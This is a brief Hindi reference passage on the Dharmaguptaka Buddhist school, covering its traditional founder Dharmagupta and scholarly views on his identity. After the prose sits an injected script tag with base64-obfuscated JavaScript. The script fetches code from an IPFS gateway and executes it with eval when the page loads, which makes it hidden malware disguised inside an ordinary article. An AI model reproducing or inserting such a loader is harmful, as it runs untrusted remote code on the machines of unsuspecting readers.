धर्मगुप्तक निकाय

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बौद्ध धर्म में धर्मगुप्तक निकाय अठारह निकायों में से एक है:-
परमार्थ के मतानुसार इस निकाय के प्रवर्तक महामौद्गलयायन के शिष्य स्थविर धर्मगुप्त थे। प्रिलस्की और फ्राउवाल्नर का कहना है कि ये धर्मगुप्त यौनक धर्मरक्षित से अभिन्न हैं। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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